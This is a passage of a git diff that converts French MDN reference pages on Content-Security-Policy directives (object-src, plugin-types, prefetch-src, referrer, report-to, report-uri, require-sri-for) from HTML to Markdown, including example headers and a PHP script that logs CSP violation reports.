id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{specName("CSP 3.0", "#directive-object-src", "object-src")}}</td> - <td>{{Spec2('CSP 3.0')}}</td> - <td>Inchangé.</td> - </tr> - <tr> - <td>{{specName("CSP 1.1", "#directive-object-src", "object-src")}}</td> - <td>{{Spec2('CSP 1.1')}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +| Spécification | Statut | Commentaire | +| ------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | +| {{specName("CSP 3.0", "#directive-object-src", "object-src")}} | {{Spec2('CSP 3.0')}} | Inchangé. | +| {{specName("CSP 1.1", "#directive-object-src", "object-src")}} | {{Spec2('CSP 1.1')}} | Définition initiale. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.object-src")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.object-src")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li>{{HTMLElement("object")}}, {{HTMLElement("embed")}}, and {{HTMLElement("applet")}}</li> - <li>{{CSP("plugin-types")}}</li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- {{HTMLElement("object")}}, {{HTMLElement("embed")}}, and {{HTMLElement("applet")}} +- {{CSP("plugin-types")}} diff --git a/files/fr/web/http/headers/content-security-policy/plugin-types/index.md b/files/fr/web/http/headers/content-security-policy/plugin-types/index.md index 188eccaf9e..a1d62a7075 100644 --- a/files/fr/web/http/headers/content-security-policy/plugin-types/index.md +++ b/files/fr/web/http/headers/content-security-policy/plugin-types/index.md @@ -14,106 +14,90 @@ tags: - Sécurité translation_of: Web/HTTP/Headers/Content-Security-Policy/plugin-types --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>plugin-types</strong></code> restreint l'ensemble des greffons pouvant être intégrés dans un document en limitant les types de ressources pouvant être chargées.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`plugin-types`** restreint l'ensemble des greffons pouvant être intégrés dans un document en limitant les types de ressources pouvant être chargées. -<p>L'instanciation d'éléments {{HTMLElement("embed")}}, {{HTMLElement("object")}} ou {{HTMLElement("applet")}} échouera si :</p> +L'instanciation d'éléments {{HTMLElement("embed")}}, {{HTMLElement("object")}} ou {{HTMLElement("applet")}} échouera si : -<ul> - <li>l'élément à charger ne déclarer pas de type MIME valide,</li> - <li>le type déclaré ne correspond pas à un des types spécifiés dans la directive <code>plugin-types</code>,</li> - <li>les ressources demandées ne correspondent pas au type déclaré.</li> -</ul> +- l'élément à charger ne déclarer pas de type MIME valide, +- le type déclaré ne correspond pas à un des types spécifiés dans la directive `plugin-types`, +- les ressources demandées ne correspondent pas au type déclaré. <table class="properties"> - <tbody> - <tr> - <th scope="row">Version de CSP</th> - <td>2</td> - </tr> - <tr> - <th scope="row">Type de directive</th> - <td>{{Glossary("Document directive")}}</td> - </tr> - <tr> - <th scope="row">{{CSP("default-src")}} par défaut</th> - <td>Non, ne pas la définir autorise toutes les ressources</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>2</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Document directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td>Non, ne pas la définir autorise toutes les ressources</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Un ou plusieurs <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">types MIME</a> peuvent être autorisées pour cette directive :</p> +Un ou plusieurs [types MIME](/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types) peuvent être autorisées pour cette directive : -<pre class="syntaxbox">Content-Security-Policy: plugin-types <type>/<subtype>; -Content-Security-Policy: plugin-types <type>/<subtype> <type>/<subtype>; -</pre> + Content-Security-Policy: plugin-types <type>/<subtype>; + Content-Security-Policy: plugin-types <type>/<subtype> <type>/<subtype>; -<dl> - <dt><type>/<subtype></dt> - <dd>Un <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Complete_list_of_MIME_types">type MIME</a> valide.</dd> -</dl> +- \<type>/\<subtype> + - : Un [type MIME](/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Complete_list_of_MIME_types) valide. -<h2 id="Exemples">Exemples</h2> +## Exemples -<h3 id="Interdire_les_greffons">Interdire les greffons</h3> +### Interdire les greffons -<p>Pour intedire tous les greffons, la directive {{CSP("object-src")}} doit être définie à <code>'none'</code>. La directive <code>plugin-types</code> n'est utilisée que si vous autorisez au préalable les greffons avec <code>object-src</code>.</p> +Pour intedire tous les greffons, la directive {{CSP("object-src")}} doit être définie à `'none'`. La directive `plugin-types` n'est utilisée que si vous autorisez au préalable les greffons avec `object-src`. -<pre class="brush: html"><meta http-equiv="Content-Security-Policy" content="object-src 'none'"></pre> +```html +<meta http-equiv="Content-Security-Policy" content="object-src 'none'"> +``` -<h3 id="Autoriser_le_contenu_Flash">Autoriser le contenu Flash</h3> +### Autoriser le contenu Flash -<p>Soit cet en-tête CSP :</p> +Soit cet en-tête CSP : -<pre class="brush: bash">Content-Security-Policy: plugin-types application/x-shockwave-flash</pre> +```bash +Content-Security-Policy: plugin-types application/x-shockwave-flash +``` -<p>Cet objet Flash sera autorisé et se chargera (dans la mesure où le navigateur gère Flash) :</p> +Cet objet Flash sera autorisé et se chargera (dans la mesure où le navigateur gère Flash) : -<pre class="brush: html"><object data="https://example.com/flash" type="application/x-shockwave-flash"></object></pre> +```html +<object data="https://example.com/flash" type="application/x-shockwave-flash"></object> +``` -<h3 id="Autoriser_les_applets_Java">Autoriser les applets Java</h3> +### Autoriser les applets Java -<p>Pour charger une {{HTMLElement("applet")}}, vous devez spécifier la valeur <code>application/x-java-applet</code> :</p> +Pour charger une {{HTMLElement("applet")}}, vous devez spécifier la valeur `application/x-java-applet` : -<pre class="brush: bash">Content-Security-Policy: plugin-types application/x-java-applet</pre> +```bash +Content-Security-Policy: plugin-types application/x-java-applet +``` -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{specName("CSP 3.0", "#directive-plugin-types", "plugin-types")}}</td> - <td>{{Spec2('CSP 3.0')}}</td> - <td>Inchangé.</td> - </tr> - <tr> - <td>{{specName("CSP 1.1", "#directive-plugin-types", "plugin-types")}}</td> - <td>{{Spec2('CSP 1.1')}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +| Spécification | Statut | Commentaire | +| ---------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | +| {{specName("CSP 3.0", "#directive-plugin-types", "plugin-types")}} | {{Spec2('CSP 3.0')}} | Inchangé. | +| {{specName("CSP 1.1", "#directive-plugin-types", "plugin-types")}} | {{Spec2('CSP 1.1')}} | Définition initiale. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.plugin-types")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.plugin-types")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}: {{CSP("object-src")}}</li> - <li>{{HTMLElement("object")}}</li> - <li>{{HTMLElement("embed")}}</li> - <li>{{HTMLElement("applet")}}</li> - <li>{{HTTPHeader("X-Content-Type-Options")}}</li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}}: {{CSP("object-src")}} +- {{HTMLElement("object")}} +- {{HTMLElement("embed")}} +- {{HTMLElement("applet")}} +- {{HTTPHeader("X-Content-Type-Options")}} diff --git a/files/fr/web/http/headers/content-security-policy/prefetch-src/index.md b/files/fr/web/http/headers/content-security-policy/prefetch-src/index.md index 62abcf4068..c5469e19cf 100644 --- a/files/fr/web/http/headers/content-security-policy/prefetch-src/index.md +++ b/files/fr/web/http/headers/content-security-policy/prefetch-src/index.md @@ -11,78 +11,64 @@ tags: - source translation_of: Web/HTTP/Headers/Content-Security-Policy/prefetch-src --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>prefetch-src</strong></code> spécifie les ressources pouvant être préchargées ou préaffichées.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`prefetch-src`** spécifie les ressources pouvant être préchargées ou préaffichées. <table class="properties"> - <tbody> - <tr> - <th scope="row">Version de CSP</th> - <td>3</td> - </tr> - <tr> - <th scope="row">Type de directive</th> - <td>{{Glossary("Fetch directive")}}</td> - </tr> - <tr> - <th scope="row">{{CSP("default-src")}} par défaut</th> - <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>3</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td> + Oui, si cette directive est absente, l'agent utilisateur consultera la + directive <code>default-src</code> + </td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> +Une ou plusieurs sources peuvent être autorisées pour cette directive : -<pre class="syntaxbox">Content-Security-Policy: prefetch-src <source>; -Content-Security-Policy: prefetch-src <source> <source>; -</pre> + Content-Security-Policy: prefetch-src <source>; + Content-Security-Policy: prefetch-src <source> <source>; -<h3 id="Sources">Sources</h3> +### Sources -<p>{{page("/fr/docs/Web/HTTP/Headers/Content-Security-Policy/default-src", "common_sources")}}</p> +{{page("/fr/docs/Web/HTTP/Headers/Content-Security-Policy/default-src", "common_sources")}} -<h2 id="Exemple">Exemple</h2> +## Exemple -<h3 id="Cas_de_violation">Cas de violation</h3> +### Cas de violation -<p>Soit cet en-tête CSP :</p> +Soit cet en-tête CSP : -<pre>Content-Security-Policy: prefetch-src https://example.com/ -</pre> + Content-Security-Policy: prefetch-src https://example.com/ -<p>Les requêtes émises par ce code généreront des erreurs de réseau puisque les URL demandées ne correspondant pas à la liste de permissions de la directive <code>prefetch-src</code> :</p> +Les requêtes émises par ce code généreront des erreurs de réseau puisque les URL demandées ne correspondant pas à la liste de permissions de la directive `prefetch-src` : -<pre><link rel="prefetch" src="https://example.org/"></link> -<link rel="prerender" src="https://example.org/"></link></pre> + <link rel="prefetch" src="https://example.org/"></link> + <link rel="prerender" src="https://example.org/"></link> -<h2 id="Spécification">Spécification</h2> +## Spécification -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{specName("CSP 3.0", "#prefetch-src", "prefetch-src")}}</td> - <td>{{Spec2("CSP 3.0")}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +| Spécification | Statut | Commentaire | +| ---------------------------------------------------------------------------- | ---------------------------- | -------------------- | +| {{specName("CSP 3.0", "#prefetch-src", "prefetch-src")}} | {{Spec2("CSP 3.0")}} | Définition initiale. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.prefetch-src")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.prefetch-src")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} diff --git a/files/fr/web/http/headers/content-security-policy/referrer/index.md b/files/fr/web/http/headers/content-security-policy/referrer/index.md index ee12abb78d..0f5ddca8d0 100644 --- a/files/fr/web/http/headers/content-security-policy/referrer/index.md +++ b/files/fr/web/http/headers/content-security-policy/referrer/index.md @@ -13,52 +13,46 @@ tags: - referrer translation_of: Web/HTTP/Headers/Content-Security-Policy/referrer --- -<div>{{HTTPSidebar}} {{deprecated_header}}</div> +{{HTTPSidebar}} {{deprecated_header}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>referrer</strong></code> spécifie des informations dans l'en-tête HTTP {{HTTPHeader("Referer")}} (avec un seul r) pour les liens externes d'une page. Cette API est dépréciée et supprimée des navigateurs.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`referrer`** spécifie des informations dans l'en-tête HTTP {{HTTPHeader("Referer")}} (avec un seul r) pour les liens externes d'une page. Cette API est dépréciée et supprimée des navigateurs. -<div class="note"> -<p><strong>Note :</strong> Utilisez plutôt l'en-tête HTTP {{HTTPHeader("Referrer-Policy")}}.</p> -</div> +> **Note :** Utilisez plutôt l'en-tête HTTP {{HTTPHeader("Referrer-Policy")}}. -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Soit cet en-tête CSP :</p> +Soit cet en-tête CSP : -<pre class="syntaxbox">Content-Security-Policy: referrer <referrer-policy>;</pre> + Content-Security-Policy: referrer <referrer-policy>; -<p>Où <code><referrer-policy></code> peut être une valeur parmi :</p> +Où `<referrer-policy>` peut être une valeur parmi : -<dl> - <dt>"no-referrer"</dt> - <dd>L'en-tête HTTP {{HTTPHeader("Referer")}} sera omise. Aucune information de référent ne sera envoyée avec les requêtes.</dd> - <dt>"none-when-downgrade"</dt> - <dd>C'est le comportement par défaut des agents d'utilisateur si la directive n'est pas spécifiée. L'origine est envoyée comme référent pour une destination a priori aussi bien sécurisée (HTTP vers HTTP ou HTTPS vers HTTPS), mais n'est pas envoyée vers une destination qui l'est moins (HTTPS vers HTTP).</dd> - <dt>"origin"</dt> - <dd>Envoie l'origine du document comme référent dans tous les cas.<br> - Le document <code>https://example.com/page.html</code> enverra <code>https://example.com/</code> comme référent.</dd> - <dt>"origin-when-cross-origin" / "origin-when-crossorigin"</dt> - <dd>Envoie une URL complète pour les requêtes vers la même origine, mais seulement l'origin du document dans les autres cas.</dd> - <dt>"unsafe-url"</dt> - <dd>Envoie une URL complète (excepté ses paramètres) lors de réalisation d'une requête vers la même origine ou une autre origine. Cette règle divulguera les origines et adresses des ressources protégées par TLS à des origines non sécurisées. Considérez avec précaution les conséquences de cette configuration.</dd> -</dl> +- "no-referrer" + - : L'en-tête HTTP {{HTTPHeader("Referer")}} sera omise. Aucune information de référent ne sera envoyée avec les requêtes. +- "none-when-downgrade" + - : C'est le comportement par défaut des agents d'utilisateur si la directive n'est pas spécifiée. L'origine est envoyée comme référent pour une destination a priori aussi bien sécurisée (HTTP vers HTTP ou HTTPS vers HTTPS), mais n'est pas envoyée vers une destination qui l'est moins (HTTPS vers HTTP). +- "origin" + - : Envoie l'origine du document comme référent dans tous les cas. + Le document `https://example.com/page.html` enverra `https://example.com/` comme référent. +- "origin-when-cross-origin" / "origin-when-crossorigin" + - : Envoie une URL complète pour les requêtes vers la même origine, mais seulement l'origin du document dans les autres cas. +- "unsafe-url" + - : Envoie une URL complète (excepté ses paramètres) lors de réalisation d'une requête vers la même origine ou une autre origine. Cette règle divulguera les origines et adresses des ressources protégées par TLS à des origines non sécurisées. Considérez avec précaution les conséquences de cette configuration. -<h2 id="Exemples">Exemples</h2> +## Exemples -<pre>Content-Security-Policy: referrer "none";</pre> + Content-Security-Policy: referrer "none"; -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<p>Cette fonctionnalité ne fait partie d'aucune spécification.</p> +Cette fonctionnalité ne fait partie d'aucune spécification. -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.referrer")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.referrer")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li>{{HTTPHeader("Referrer-Policy")}} header</li> - <li>{{HTTPHeader("Referer")}} header</li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- {{HTTPHeader("Referrer-Policy")}} header +- {{HTTPHeader("Referer")}} header diff --git a/files/fr/web/http/headers/content-security-policy/report-to/index.md b/files/fr/web/http/headers/content-security-policy/report-to/index.md index 3011486ccb..10301e542f 100644 --- a/files/fr/web/http/headers/content-security-policy/report-to/index.md +++ b/files/fr/web/http/headers/content-security-policy/report-to/index.md @@ -12,68 +12,69 @@ tags: - report-to translation_of: Web/HTTP/Headers/Content-Security-Policy/report-to --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <strong><code>report-to</code></strong> demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP <code>Report-To</code>.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`report-to`** demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP `Report-To`. -<pre class="syntaxbox">Content-Security-Policy: ...; report-to groupname -</pre> + Content-Security-Policy: ...; report-to groupname -<p>Cette directive n'a aucun effet en elle-même, mais prend tout son sens en étant combinée à d'autres directives.</p> +Cette directive n'a aucun effet en elle-même, mais prend tout son sens en étant combinée à d'autres directives. <table class="properties"> - <tbody> - <tr> - <th scope="row">Version de CSP</th> - <td>1</td> - </tr> - <tr> - <th scope="row">Type de directive</th> - <td>{{Glossary("Reporting directive")}}</td> - </tr> - <tr> - <th colspan="2" scope="row">This directive is not supported in the {{HTMLElement("meta")}} element.</th> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Reporting directive")}}</td> + </tr> + <tr> + <th colspan="2" scope="row"> + This directive is not supported in the {{HTMLElement("meta")}} + element. + </th> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre>Content-Security-Policy: report-to <json-field-value>;</pre> + Content-Security-Policy: report-to <json-field-value>; -<h2 id="Exemples">Exemples</h2> +## Exemples -<p>Voir {{HTTPHeader("Content-Security-Policy-Report-Only")}} pour plus d'informations et d'exemples.</p> +Voir {{HTTPHeader("Content-Security-Policy-Report-Only")}} pour plus d'informations et d'exemples. -<pre><a href="http://wicg.github.io/reporting/#report-to">Report-To</a>: { "<a href="http://wicg.github.io/reporting/#group">group</a>": "csp-endpoint", - "<a href="http://wicg.github.io/reporting/#max-age">max_age</a>": 10886400, - "<a href="http://wicg.github.io/reporting/#endpoints">endpoints</a>": [ - { "<a href="http://wicg.github.io/reporting/#url">url</a>": "https://example.com/csp-reports" } - ] }, - { "<a href="http://wicg.github.io/reporting/#group">group</a>": "hpkp-endpoint", - "<a href="http://wicg.github.io/reporting/#max-age">max_age</a>": 10886400, - "<a href="http://wicg.github.io/reporting/#endpoints">endpoints</a>": [ - { "<a href="http://wicg.github.io/reporting/#url">url</a>": "https://example.com/hpkp-reports" } - ] } -<a href="https://w3c.github.io/webappsec-csp/#content-security-policy">Content-Security-Policy</a>: ...; <a href="https://w3c.github.io/webappsec-csp/#directives-reporting">report-to</a> csp-endpoint -</pre> + Report-To: { "group": "csp-endpoint", + "max_age": 10886400, + "endpoints": [ + { "url": "https://example.com/csp-reports" } + ] }, + { "group": "hpkp-endpoint", + "max_age": 10886400, + "endpoints": [ + { "url": "https://example.com/hpkp-reports" } + ] } + Content-Security-Policy: ...; report-to csp-endpoint -<pre><a href="http://wicg.github.io/reporting/#report-to">Report-To</a>: { "<a href="http://wicg.github.io/reporting/#group">group</a>": "endpoint-1", - "<a href="http://wicg.github.io/reporting/#max-age">max_age</a>": 10886400, - "<a href="http://wicg.github.io/reporting/#endpoints">endpoints</a>": [ - { "<a href="http://wicg.github.io/reporting/#url">url</a>": "https://example.com/reports" }, - { "<a href="http://wicg.github.io/reporting/#url">url</a>": "https://backup.com/reports" } - ] } +<!----> -<a href="https://w3c.github.io/webappsec-csp/#content-security-policy">Content-Security-Policy</a>: ...; <a href="https://w3c.github.io/webappsec-csp/#directives-reporting">report-to</a> endpoint-1</pre> + Report-To: { "group": "endpoint-1", + "max_age": 10886400, + "endpoints": [ + { "url": "https://example.com/reports" }, + { "url": "https://backup.com/reports" } + ] } -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + Content-Security-Policy: ...; report-to endpoint-1 -<p>{{Compat("http.headers.csp.Content-Security-Policy.report-to")}}</p> +## Compatibilité des navigateurs -<h2 id="Voir_aussi">Voir aussi</h2> +{{Compat("http.headers.csp.Content-Security-Policy.report-to")}} -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li> -</ul> +## Voir aussi + +- {{HTTPHeader("Content-Security-Policy")}} +- {{HTTPHeader("Content-Security-Policy-Report-Only")}} diff --git a/files/fr/web/http/headers/content-security-policy/report-uri/index.md b/files/fr/web/http/headers/content-security-policy/report-uri/index.md index 18ea9daf71..d1f34a8df2 100644 --- a/files/fr/web/http/headers/content-security-policy/report-uri/index.md +++ b/files/fr/web/http/headers/content-security-policy/report-uri/index.md @@ -11,55 +11,55 @@ tags: - Sécurité translation_of: Web/HTTP/Headers/Content-Security-Policy/report-uri --- -<div>{{HTTPSidebar}}{{deprecated_header}}</div> +{{HTTPSidebar}}{{deprecated_header}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>report-uri</strong></code> demande à l'agent utilisateur de rapporter les violations de règles CSP. Ces rapports de violation sont constituées d'un document JSON envoyé via une requête HTTP POST à l'URI fournie.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`report-uri`** demande à l'agent utilisateur de rapporter les violations de règles CSP. Ces rapports de violation sont constituées d'un document JSON envoyé via une requête HTTP POST à l'URI fournie. -<div class="warning"> -<p><strong>Attention :</strong> Bien que la directive {{CSP("report-to")}} est prévue remplacer la directive <code><strong>report-uri</strong></code> maintenant dépréciée, {{CSP("report-to")}} n'est pas encore supportée par la plupart des navigateurs modernes. Par rétrocompatibilité avec les navigateurs courants et tout en prévoyant une compatibilité future quand les navigateurs supporteront {{CSP("report-to")}}, vous pouvez spécifier les deux directives <code><strong>report-uri</strong></code> et {{CSP("report-to")}}:</p> +> **Attention :** Bien que la directive {{CSP("report-to")}} est prévue remplacer la directive **`report-uri`** maintenant dépréciée, {{CSP("report-to")}} n'est pas encore supportée par la plupart des navigateurs modernes. Par rétrocompatibilité avec les navigateurs courants et tout en prévoyant une compatibilité future quand les navigateurs supporteront {{CSP("report-to")}}, vous pouvez spécifier les deux directives **`report-uri`** et {{CSP("report-to")}}: +> +> Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname +> +> Dans les navigateurs qui supportent {{CSP("report-to")}}, la directive **`report-uri`** sera ignorée. -<pre class="syntaxbox">Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname</pre> - -<p>Dans les navigateurs qui supportent {{CSP("report-to")}}, la directive <code><strong>report-uri</strong></code> sera ignorée.</p> -</div> - -<p>Cette directive n'a aucun effet en elle-même, mais prend tout son sens en étant combinée à d'autres directives.</p> +Cette directive n'a aucun effet en elle-même, mais prend tout son sens en étant combinée à d'autres directives. <table class="properties"> - <tbody> - <tr> - <th scope="row">Version de CSP</th> - <td>1</td> - </tr> - <tr> - <th scope="row">Type de directive</th> - <td>{{Glossary("Reporting directive")}}</td> - </tr> - <tr> - <th colspan="2" scope="row">Cette directive n'est pas supportée dans l'élément {{HTMLElement("meta")}}.</th> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Reporting directive")}}</td> + </tr> + <tr> + <th colspan="2" scope="row"> + Cette directive n'est pas supportée dans l'élément + {{HTMLElement("meta")}}. + </th> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Content-Security-Policy: report-uri <uri>; -Content-Security-Policy: report-uri <uri> <uri>;</pre> + Content-Security-Policy: report-uri <uri>; + Content-Security-Policy: report-uri <uri> <uri>; -<dl> - <dt><uri></dt> - <dd>Une URI où envoyer la requête POST contenant le rapport de violation.</dd> -</dl> +- \<uri> + - : Une URI où envoyer la requête POST contenant le rapport de violation. -<h2 id="Exemples">Exemples</h2> +## Exemples -<p>Voir {{HTTPHeader("Content-Security-Policy-Report-Only")}} pour plus d'informations et d'exemples.</p> +Voir {{HTTPHeader("Content-Security-Policy-Report-Only")}} pour plus d'informations et d'exemples. -<pre>Content-Security-Policy: default-src https:; report-uri /csp-violation-report-endpoint/</pre> + Content-Security-Policy: default-src https:; report-uri /csp-violation-report-endpoint/ -<p><code>/csp-violation-report-endpoint/</code> pourrait par exemple exécuter un script PHP similaire au suivant qui journaliserait le JSON détaillant la violation et, si elle est la première ajoutée au journal, enverrait un courril à l'administrateur :</p> +`/csp-violation-report-endpoint/` pourrait par exemple exécuter un script PHP similaire au suivant qui journaliserait le JSON détaillant la violation et, si elle est la première ajoutée au journal, enverrait un courril à l'administrateur : -<pre class="brush: php"><?php +```php +<?php // Start configure $log_file = dirname(__FILE__) . '/csp-violations.log'; @@ -88,44 +88,26 @@ if ($json_data = json_decode($json_data)) { $log_file; mail($email_address, $email_subject, $message, 'Content-Type: text/plain;charset=utf-8'); - } else if (filesize($log_file) > $log_file_size_limit) { + } else if (filesize($log_file) > $log_file_size_limit) { exit(0); } file_put_contents($log_file, $json_data, FILE_APPEND | LOCK_EX); } +``` -</pre> - -<h2 id="Spécifications">Spécifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - <tr> - <td>{{specName("CSP 3.0", "#directive-report-uri", "report-uri")}}</td> - <td>{{Spec2('CSP 3.0')}}</td> - <td>Inchangé.</td> - </tr> - <tr> - <td>{{specName("CSP 1.1", "#directive-report-uri", "report-uri")}}</td> - <td>{{Spec2('CSP 1.1')}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +## Spécifications + +| Spécification | Statut | Commentaire | +| ------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | +| {{specName("CSP 3.0", "#directive-report-uri", "report-uri")}} | {{Spec2('CSP 3.0')}} | Inchangé. | +| {{specName("CSP 1.1", "#directive-report-uri", "report-uri")}} | {{Spec2('CSP 1.1')}} | Définition initiale. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.report-uri")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.report-uri")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- {{HTTPHeader("Content-Security-Policy-Report-Only")}} diff --git a/files/fr/web/http/headers/content-security-policy/require-sri-for/index.md b/files/fr/web/http/headers/content-security-policy/require-sri-for/index.md index f78c78e47f..2f8a2d983f 100644 --- a/files/fr/web/http/headers/content-security-policy/require-sri-for/index.md +++ b/files/fr/web/http/headers/content-security-policy/require-sri-for/index.md @@ -13,49 +13,48 @@ tags: - require-sri-for translation_of: Web/HTTP/Headers/Content-Security-Policy/require-sri-for --- -<div>{{Obsolete_header}}</div> +{{Obsolete_header}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} <code><strong>require-sri-for</strong></code> informe l'agent utilisateur de requérir la vérification <a href="/en-US/docs/Web/Security/Subresource_Integrity">d'intégrité des sous-ressources</a> pour les scripts et styles de la page.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} **`require-sri-for`** informe l'agent utilisateur de requérir la vérification [d'intégrité des sous-ressources](/en-US/docs/Web/Security/Subresource_Integrity) pour les scripts et styles de la page. -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Content-Security-Policy: require-sri-for script; -Content-Security-Policy: require-sri-for style; -Content-Security-Policy: require-sri-for script style; -</pre> + Content-Security-Policy: require-sri-for script; + Content-Security-Policy: require-sri-for style; + Content-Security-Policy: require-sri-for script style; -<dl> - <dt><code>script</code></dt> - <dd>Requiert {{Glossary("SRI")}} pour les scripts.</dd> - <dt><code>style</code></dt> - <dd>Requiert {{Glossary("SRI")}} pour les feuilles de styles.</dd> - <dt><code>script style</code></dt> - <dd>Requiert {{Glossary("SRI")}} pour les deux, scripts et feuilles de styles.</dd> -</dl> +- `script` + - : Requiert {{Glossary("SRI")}} pour les scripts. +- `style` + - : Requiert {{Glossary("SRI")}} pour les feuilles de styles. +- `script style` + - : Requiert {{Glossary("SRI")}} pour les deux, scripts et feuilles de styles. -<h2 id="Exemples">Exemples</h2> +## Exemples -<p>Soit cet en-tête CSP :</p> +Soit cet en-tête CSP : -<pre>Content-Security-Policy: require-sri-for script style</pre> + Content-Security-Policy: require-sri-for 